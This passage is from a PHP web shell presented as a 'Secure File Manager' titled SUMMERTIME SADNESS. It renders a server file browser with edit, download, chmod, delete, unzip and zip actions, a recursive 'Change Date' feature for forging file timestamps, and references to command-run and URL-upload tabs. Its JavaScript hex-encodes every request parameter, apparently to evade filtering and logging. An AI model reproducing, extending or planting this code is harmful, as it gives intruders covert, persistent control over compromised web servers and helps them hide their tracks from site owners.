                        <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
                        <input type="hidden" name="target" value="<?php echo hx($name); ?>">
                        <input type="text" name="mode" class="field w-28 mono" placeholder="0755">
                        <label class="text-xs flex items-center gap-1"><input type="checkbox" name="recursive"> recursive</label>
                        <input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
                        <button class="btn btn-sm btnw" type="submit">OK</button>
                        <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
                      </form>
                    </div>
                    <div id="mt-<?php echo h($name); ?>" class="hidden mt-2">
                      <form method="post" action="?a=<?php echo hx("mtime"); ?>&p=<?php echo hx($current); ?>" class="flex flex-wrap gap-2 items-center" onsubmit="return hexEncodeForm(this);">
                        <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
                        <input type="hidden" name="target" value="<?php echo hx($name); ?>">
                        <input type="text" name="ts" class="field w-56 mono" placeholder="YYYY-MM-DD HH:MM:SS or epoch" required>
                        <label class="text-xs flex items-center gap-1"><input type="checkbox" name="recursive" checked> recursive</label>
                        <input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
                        <button class="btn btn-sm btnw" type="submit">OK</button>
                        <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
                      </form>
                    </div>
                  </td>
                </tr>
              <?php
              endforeach; ?>

              <?php
              foreach ($files as $name):

                  $full = $current . "/" . $name;
                  $size = (int) @filesize($full);
                  $mtime = (int) @filemtime($full);
                  $ext = strtolower(pathinfo($full, PATHINFO_EXTENSION));
                  $r = @is_readable($full);
                  $w = @is_writable($full);
                  $permColorClass = $w
                      ? "text-lime-400"
                      : ($r
                          ? "text-white"
                          : "text-red-400");
                  ?>
                <tr class="border-b border-slate-800 hoverable"
                    data-type="file"
                    data-name="<?php echo h(strtolower($name)); ?>"
                    data-size="<?php echo $size; ?>"
                    data-mtime="<?php echo $mtime; ?>"
                    draggable="true"
                    ondragstart="onDragStartItem(event, <?php echo biru_json_encode($name); ?>)">
                  <td class="py-2 px-2"><input class="rowchk" type="checkbox" name="items[]" value="<?php echo hx($name); ?>"></td>
                  <td class="py-2 px-2">
                    <div class="flex items-center gap-2 <?php echo $permColorClass; ?>">
                      <?php echo iconSvgFor($full); ?>
                      <a class="font-medium hover:underline text-white"
                         draggable="false"
                         onclick="return guardLinkCopy(event)"
                         href="?a=<?php echo hx("view"); ?>&f=<?php echo hx($name); ?>&p=<?php echo hx($current); ?>">
                        <?php echo h($name); ?>
                      </a>
                    </div>
                  </td>
                  <td class="py-2 px-2 mono"><?php echo h(humanSize($size)); ?></td>
                  <td class="py-2 px-2 mono <?php echo $permColorClass; ?>"><?php echo h(permsToString($full)); ?></td>
                  <td class="py-2 px-2"><?php echo h(date("Y-m-d H:i:s", $mtime ?: time())); ?></td>
<td class="py-2 px-2">
<div class="row-actions">
<a class="btn btn-xs btnw" href="?a=<?php echo hx("edit"); ?>&f=<?php echo hx($name); ?>&p=<?php echo hx($current); ?>">Edit</a>
<a class="btn btn-xs btnw" href="?a=<?php echo hx("download"); ?>&f=<?php echo hx($name); ?>&p=<?php echo hx($current); ?>">Download</a>
<button type="button" class="btn btn-xs btnw" onclick="toggleRow('rn-<?php echo h($name); ?>')">Rename</button>
<button type="button" class="btn btn-xs btnw" onclick="toggleRow('cm-<?php echo h($name); ?>')">Chmod</button>
<button type="button" class="btn btn-xs btnw" onclick="toggleRow('mt-<?php echo h($name); ?>')">Change Date</button>
<?php if (
    in_array($ext, ["zip"]) ||
    preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $name)
): ?>
<form method="post" action="?a=<?php echo hx("unzip"); ?>&p=<?php echo hx($current); ?>" class="inline" onsubmit="return hexEncodeForm(this);">
<input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
<input type="hidden" name="file" value="<?php echo hx($name); ?>">
<input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
<button class="btn btn-xs btnw" type="submit">Unzip here</button>
</form>
<?php endif; ?>
<form method="post" action="?a=<?php echo hx("delete"); ?>&p=<?php echo hx($current); ?>" class="inline" onsubmit="return confirm('Delete this file?') && hexEncodeForm(this);">
<input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
<input type="hidden" name="target" value="<?php echo hx($name); ?>">
<input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
<button class="btn btn-xs btnw" type="submit">Delete</button>
</form>
</div>
<div id="rn-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=<?php echo hx("rename"); ?>&p=<?php echo hx($current); ?>" class="flex flex-wrap gap-2 mt-1" onsubmit="return hexEncodeForm(this);">
<input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
<input type="hidden" name="old" value="<?php echo hx($name); ?>">
<input type="text" name="new" class="field w-48" placeholder="New name">
<input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
<button class="btn btn-sm btnw" type="submit">OK</button>
<button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
<div id="cm-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=<?php echo hx("chmod"); ?>&p=<?php echo hx($current); ?>" class="flex flex-wrap gap-2 items-center mt-1" onsubmit="return hexEncodeForm(this);">
<input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
<input type="hidden" name="target" value="<?php echo hx($name); ?>">
<input type="text" name="mode" class="field w-24 mono" placeholder="0644">
<label class="text-xs flex items-center gap-1"><input type="checkbox" name="recursive"> recursive</label>
<input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
<button class="btn btn-sm btnw" type="submit">OK</button>
<button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
<div id="mt-<?php echo h($name); ?>" class="hidden mt-2">
<form method="post" action="?a=<?php echo hx("mtime"); ?>&p=<?php echo hx($current); ?>" class="flex flex-wrap gap-2 items-center" onsubmit="return hexEncodeForm(this);">
<input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
<input type="hidden" name="target" value="<?php echo hx($name); ?>">
<input type="text" name="ts" class="field w-56 mono" placeholder="YYYY-MM-DD HH:MM:SS or epoch" required>
<label class="text-xs flex items-center gap-1 opacity-50"><input type="checkbox" disabled> recursive</label>
<input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
<button class="btn btn-sm btnw" type="submit">OK</button>
<button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
</form>
</div>
</td>
</tr>
<?php
              endforeach;
              if (empty($dirs) && empty($files)): ?>
            <tr><td colspan="6" class="py-6 text-center text-slate-400">Empty</td></tr>
          <?php endif;
              ?>
        </tbody>
      </table>
    </div><hr class="mt-3 mb-2 border-slate-800">
    <div class="mt-2">
      <form method="post" action="?a=<?php echo hx("zip"); ?>&p=<?php echo hx($current); ?>" class="inline-flex flex-wrap gap-2 items-center" onsubmit="return hexEncodeForm(this);">
        <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
        <input type="text" name="zipname" class="field w-56" placeholder="archive-name.zip (optional)">
        <input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
        <button class="btn btn-sm btnw" type="submit" onclick="return collectSelectedInto(this.form)">Zip Selected</button>
        <span class="text-xs text-slate-400">If ZipArchive is unavailable, a <span class="mono">.tar</span> will be created.</span>
      </form>
    </div>
  </form>
</div>
</section>
</main><footer class="w-full px-6 py-4">
  <div class="footer-line mb-3"></div>
  <div class="text-xs text-slate-400 flex items-center justify-between">
    <span>© <?php echo $yearNow; ?> SUMMERTIME SADNESS — Secure File Manager. All rights reserved.</span>
    <span>Built with ❤️ & Red Dark UI</span>
  </div>
</footer><script>
// Hex encoding functions for JavaScript
function stringToHex(str) {
    var hex = '';
    for(var i=0;i<str.length;i++) {
        hex += ''+str.charCodeAt(i).toString(16);
    }
    return hex;
}

function hexToString(hex) {
    var str = '';
    for(var i=0;i<hex.length;i+=2) {
        str += String.fromCharCode(parseInt(hex.substr(i,2),16));
    }
    return str;
}

function hexEncodeForm(form) {
    // Encode all text inputs and textareas
    var inputs = form.querySelectorAll('input[type="text"], input[type="hidden"], input[type="password"], textarea, select');
    inputs.forEach(function(input) {
        if (input.type !== 'file' && input.type !== 'checkbox' && input.type !== 'radio') {
            input.value = stringToHex(input.value);
        }
    });
    
    // Handle checkboxes and radios
    var checkboxes = form.querySelectorAll('input[type="checkbox"], input[type="radio"]:checked');
    checkboxes.forEach(function(cb) {
        if (cb.checked) {
            cb.value = stringToHex(cb.value);
        }
    });
    
    return true;
}

// Special function for forms with content textarea (edit and new file)
function hexEncodeFormExceptContent(form) {
    // Encode all inputs except textarea with name="content"
    var inputs = form.querySelectorAll('input[type="text"], input[type="hidden"], input[type="password"], textarea, select');
    inputs.forEach(function(input) {
        if (input.type !== 'file' && input.type !== 'checkbox' && input.type !== 'radio') {
            // Skip textarea with name="content"
            if (input.tagName === 'TEXTAREA' && input.name === 'content') {
                // Leave it as is (natural)
                return;
            }
            input.value = stringToHex(input.value);
        }
    });
    
    // Handle checkboxes and radios
    var checkboxes = form.querySelectorAll('input[type="checkbox"], input[type="radio"]:checked');
    checkboxes.forEach(function(cb) {
        if (cb.checked) {
            cb.value = stringToHex(cb.value);
        }
    });
    
    return true;
}

document.documentElement.classList.add('dark');(function(){
var tabLinks = Array.prototype.slice.call(document.querySelectorAll('#createCard .tablink'));
var tabContents = {
'tab-create-file': document.getElementById('tab-create-file'),
'tab-create-folder': document.getElementById('tab-create-folder'),
'tab-upload': document.getElementById('tab-upload'),
'tab-run-cmd': document.getElementById('tab-run-cmd')
};var subtabsWrap = document.getElementById('uploadSubtabs');
var subtabLinks = Array.prototype.slice.call(document.querySelectorAll('#createCard .subtablink'));
var subContents = {
'sub-upload-local': document.getElementById('sub-upload-local'),
'sub-upload-url': document.getElementById('sub-upload-url')
};
var subtabsHr = document.getElementById('uploadSubtabsHr');function activateTab(target){
tabLinks.forEach(function(a){
if (a.getAttribute('data-target') === target) {
a.classList.add('active');
} else {
a.classList.remove('active');
}
});Object.keys(tabContents).forEach(function(k){
  tabContents[k].style.display = (k === target) ? 'block' : 'none';
});var isUpload = (target === 'tab-upload');
subtabsWrap.style.display = isUpload ? 'flex' : 'none';
if (subtabsHr) subtabsHr.style.display = isUpload ? 'block' : 'none';}function activateSub(target){
subtabLinks.forEach(function(a){
if (a.getAttribute('data-target') === target) {
a.classList.add('active');
} else {
a.classList.remove('active');
}
});Object.keys(subContents).forEach(function(k){
  subContents[k].style.display = (k === target) ? 'block' : 'none';
});}tabLinks.forEach(function(a){
a.addEventListener('click', function(e){
e.preventDefault();
activateTab(a.getAttribute('data-target'));
});
});subtabLinks.forEach(function(a){
a.addEventListener('click', function(e){
e.preventDefault();
activateSub(a.getAttribute('data-target'));
});
});(function(){
function qp(k) {
return new URLSearchParams(location.search).get(k) || '';
}var t = qp('tab'), st = qp('subtab');
if (!t) t = 'create-file';
if (t === 'upload' && !st) st = 'local';var map = {
  'create-file': 'tab-create-file',
  'create-folder': 'tab-create-folder',
  'upload': 'tab-upload',
  'run-cmd': 'tab-run-cmd'
};var submap = {
  'local': 'sub-upload-local',
  'url': 'sub-upload-url'
};activateTab(map[t] || 'tab-create-file');
if (t === 'upload') activateSub(submap[st] || 'sub-upload-local');
})();
})();function guardLinkCopy(e){
var sel = '';
if (window.getSelection) sel = String(window.getSelection());
if (sel && sel.length > 0) {
e.preventDefault();
return false;
}
return true;
}const searchEl = document.getElementById('searchBox');function filterRows(){
const q = (searchEl && searchEl.value || '').trim().toLowerCase();
const rows = document.querySelectorAll('#dirBody tr');rows.forEach(function(r){
var name = r.getAttribute('data-name') || '';
r.style.display = name.indexOf(q) !== -1 ? '' : 'none';
});
}window.addEventListener('keydown', function(e){
if (e.ctrlKey && e.key === '/') {
e.preventDefault();
if (searchEl) {
searchEl.focus();
}
}
});var sortState = { key: 'name', asc: true };function sortBy(key){
var body = document.getElementById('dirBody');
var rows = Array.prototype.slice.call(body.querySelectorAll('tr'));
var factor = (sortState.key === key && sortState.asc) ? -1 : 1;sortState = { key: key, asc: factor === 1 };rows.sort(function(a, b){
if (key === 'name') {
return a.dataset.name.localeCompare(b.dataset.name) * factor;
}
if (key === 'size' || key === 'mtime') {
var av = parseInt(a.dataset[key] || '0', 10);
var bv = parseInt(b.dataset[key] || '0', 10);
return (av - bv) * factor;
}
return 0;
});rows.forEach(function(r){
body.appendChild(r);
});
}function toggleAll(master){
Array.prototype.forEach.call(document.querySelectorAll('.rowchk'), function(x){
x.checked = master.checked;
});
}function selectAll(flag){
Array.prototype.forEach.call(document.querySelectorAll('.rowchk'), function(x){
x.checked = !!flag;
});var m = document.getElementById('chkAll');
if (m) m.checked = !!flag;
}function toggleRow(id){
var el = document.getElementById(id);
if (el) el.classList.toggle('hidden');
}function closeAction(btn){
var holder = btn.closest('div[id^="rn-"], div[id^="cm-"], div[id^="mt-"]');
if (holder) holder.classList.add('hidden');
}function collectSelectedInto(form){
Array.prototype.forEach.call(form.querySelectorAll('input[name="items[]"]'), function(n){
n.parentNode.removeChild(n);
});Array.prototype.forEach.call(document.querySelectorAll('#dirBody .rowchk:checked'), function(chk){
var i = document.createElement('input');
i.type = 'hidden';
i.name = 'items[]';
i.value = chk.value;
form.appendChild(i);
});return true;
}var dropZone = document.getElementById('dropZone');
var tableCard = document.getElementById('tableCard');
var csrf = <?php echo biru_json_encode($csrf); ?>;
var currentPath = <?php echo biru_json_encode($current); ?>;['dragenter', 'dragover'].forEach(function(ev){
document.addEventListener(ev, function(e){
e.preventDefault();
e.stopPropagation();
tableCard.classList.add('drop-hint');
});
});['dragleave', 'drop'].forEach(function(ev){
document.addEventListener(ev, function(e){
if (ev === 'dragleave' && e.target !== document) return;
tableCard.classList.remove('drop-hint');
});
});document.addEventListener('drop', function(e){
if (!e.dataTransfer || !e.dataTransfer.files || e.dataTransfer.files.length === 0) return;e.preventDefault();
e.stopPropagation();try {
var fd = new FormData();
fd.append('csrf', stringToHex(csrf));for (var i = 0; i < e.dataTransfer.files.length; i++) {
  var f = e.dataTransfer.files[i];
  fd.append('files[]', f, f.name);
}fd.append('tab', stringToHex('upload'));
fd.append('subtab', stringToHex('local'));fetch('?a=' + stringToHex('upload') + '&p=' + stringToHex(currentPath), {
  method: 'POST',
  body: fd
})
.then(function(){
  location.href = '?p=' + stringToHex(currentPath) + '&tab=' + stringToHex('upload') + '&subtab=' + stringToHex('local');
})
.catch(function(){
  alert('Upload failed');
});
} catch (err) {
console.error(err);
alert('Upload failed');
}
});var draggedItemName = null;
var dragEnabled = false;(function(){
var dt = document.getElementById('dragToggle');
if (dt) {
dragEnabled = !!dt.checked;
dt.addEventListener('change', function(){
dragEnabled = !!dt.checked;
});
}
})();function onDragStartItem(ev, name){
if (!dragEnabled) {
ev.preventDefault();
return false;
}draggedItemName = name;
ev.dataTransfer.setData('text/plain', name);
ev.dataTransfer.effectAllowed = 'move';
}function onDragOverDir(ev){
if (!dragEnabled) return;ev.preventDefault();
ev.currentTarget.classList.add('droptarget');
ev.dataTransfer.dropEffect = 'move';
}function onDragLeaveDir(ev){
ev.currentTarget.classList.remove('droptarget');
}function onDropToDir(ev, dirName){
if (!dragEnabled) return;ev.preventDefault();
var row = ev.currentTarget;
row.classList.remove('droptarget');var src = draggedItemName || ev.dataTransfer.getData('text/plain');
if (!src) return;try {
var fd = new FormData();
fd.append('csrf', stringToHex(csrf));
fd.append('src', stringToHex(src));var dstAbs = <?php echo biru_json_encode($current . "/"); ?> + dirName;
fd.append('dst', stringToHex(dstAbs));
fd.append('tab', stringToHex('create-file'));fetch('?a=' + stringToHex('move') + '&p=' + stringToHex(currentPath), {
  method: 'POST',
  body: fd
})
.then(function(){
  location.href = '?p=' + stringToHex(currentPath);
})
.catch(function(){
  alert('Move failed');
});
} catch (err) {
console.error(err);
alert('Move failed');
}
}(function(){
var btn = document.getElementById('copyPathBtn');
if (!btn) return;var input = document.getElementById('pathInput');
var copyIcon = document.getElementById('copyIcon');
var checkIcon = document.getElementById('checkIcon');btn.addEventListener('click', function(){
if (!input) return;input.select();try {
  var txt = input.value || '';
  if (navigator.clipboard && navigator.clipboard.writeText) {
    navigator.clipboard.writeText(txt).then(showTick, showTick);
  } else {
    document.execCommand('copy');
    showTick();
  }
} catch (e) {
  showTick();
}
});function showTick(){
if (copyIcon && checkIcon) {
copyIcon.classList.add('hidden');
checkIcon.classList.remove('hidden');  setTimeout(function(){
    checkIcon.classList.add('hidden');
    copyIcon.classList.remove('hidden');
  }, 1200);
}
}
})();
</script>
</body>
</html><?php
function svgIcon($name, $class = "ico")
{
    $icons = [
        "folder" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '" aria-hidden="true"><path d="M10 4l2 2h6a2 2 0 012 2v1H4V6a2 2 0 012-2h4z" fill="currentColor" opacity=".12"/><path d="M3 9h18v9a2 2 0 01-2 2H5a2 2 0 01-2-2V9z" fill="currentColor"/></svg>',
        "file" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '" aria-hidden="true"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M13 3v5a2 2 0 002 2h5" fill="none" stroke="currentColor" stroke-width="2" stroke-linejoin="round"/></svg>',
        "code" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '"><path d="M8 16l-4-4 4-4M16 8l4 4-4 4" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg>',
        "text" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '"><path d="M4 6h16M4 12h16M4 18h10" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>',
        "pwx" =>
            '<svg viewBox="0 0 48 48" class="' .
            $class .
            '" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"><g fill="currentColor"><g transform="translate(-700 -560)"><path d="M723.9985,560 C710.746,560 700,570.787092 700,584.096644 C700,594.740671 706.876,603.77183 716.4145,606.958412 C717.6145,607.179786 718.0525,606.435849 718.0525,605.797328 C718.0525,605.225068 718.0315,603.710086 718.0195,601.699648 C711.343,603.155898 709.9345,598.469394 709.9345,598.469394 C708.844,595.686405 707.2705,594.94548 707.2705,594.94548 C705.091,593.450075 707.4355,593.480194 707.4355,593.480194 C709.843,593.650366 711.1105,595.963499 711.1105,595.963499 C713.2525,599.645538 716.728,598.58234 718.096,597.964902 C718.3135,596.407754 718.9345,595.346062 719.62,594.743683 C714.2905,594.135281 708.688,592.069123 708.688,582.836167 C708.688,580.205279 709.6225,578.054788 711.1585,576.369634 C710.911,575.759726 710.0875,573.311058 711.3925,569.993458 C711.3925,569.993458 713.4085,569.345902 717.9925,572.46321 C719.908,571.928599 721.96,571.662047 724.0015,571.651505 C726.04,571.662047 728.0935,571.928599 730.0105,572.46321 C734.5915,569.345902 736.603,569.993458 736.603,569.993458 C737.9125,573.311058 737.089,575.759726 736.8415,576.369634 C738.3805,578.054788 739.309,580.205279 739.309,582.836167 C739.309,592.091712 733.6975,594.129257 728.3515,594.725612 C729.2125,595.469549 729.9805,596.939353 729.9805,599.18773 C729.9805,602.408949 729.9505,605.006706 729.9505,605.797328 C729.9505,606.441873 730.3825,607.191834 731.6005,606.9554 C741.13,603.762794 748,594.737659 748,584.096644 C748,570.787092 737.254,560 723.9985,560"/></g></g></svg>',
        "img" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '"><path d="M4 5h16v14H4z" fill="currentColor" opacity=".12"/><circle cx="8.5" cy="9.5" r="1.5" fill="currentColor"/><path d="M4 16l4-4 3 3 3-2 6 5" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>',
        "pdf" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><text x="7" y="17" font-size="8" font-family="ui-sans-serif" fill="currentColor">PDF</text></svg>',
        "sheet" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '"><path d="M6 3h12a2 2 0 012 2v14a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M8 8h8M8 12h8M8 16h8" stroke="currentColor" stroke-width="2"/></svg>',
        "zip" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M11 5h2v2h-2v2h2v2h-2" stroke="currentColor" stroke-width="2"/></svg>',
        "db" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '"><ellipse cx="12" cy="6" rx="8" ry="3" fill="currentColor" opacity=".12"/><path d="M4 6v12c0 1.7 3.6 3 8 3s8-1.3 8-3V6" fill="none" stroke="currentColor" stroke-width="2"/></svg>',
        "search" =>
            '<svg viewBox="0 0 24 24" class="' .
            $class .
            '"><circle cx="11" cy="11" r="7" stroke="currentColor" stroke-width="2" fill="none"/><path d="M20 20l-3-3" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>',
    ];
    return isset($icons[$name]) ? $icons[$name] : $icons["file"];
}
function iconSvgFor($p)
{
    if (is_dir($p)) {
        return svgIcon("folder");
    }
    $e = strtolower(pathinfo($p, PATHINFO_EXTENSION));
    if (in_array($e, ["zip", "rar", "7z", "tar", "gz", "bz2"])) {
        return svgIcon("zip");
    }
    if (in_array($e, ["jpg", "jpeg", "png", "gif", "webp", "bmp", "svg"])) {
        return svgIcon("img");
    }
    if (in_array($e, ["pdf"])) {
        return svgIcon("pdf");
    }
    if (in_array($e, ["csv", "xls", "xlsx"])) {
        return svgIcon("sheet");
    }
    if (in_array($e, ["sql", "db", "sqlite"])) {
        return svgIcon("db");
    }
    if (
        in_array($e, [
            "php",
            "js",
            "ts",
            "css",
            "scss",
            "less",
            "html",
            "htm",
            "xml",
            "yml",
            "yaml",
            "ini",
            "cfg",
            "sh",
            "bash",
        ])
    ) {
        return svgIcon("code");
    }
    if (in_array($e, ["txt", "md", "log", "json"])) {
        return svgIcon("text");
    }
    return svgIcon("file");
}
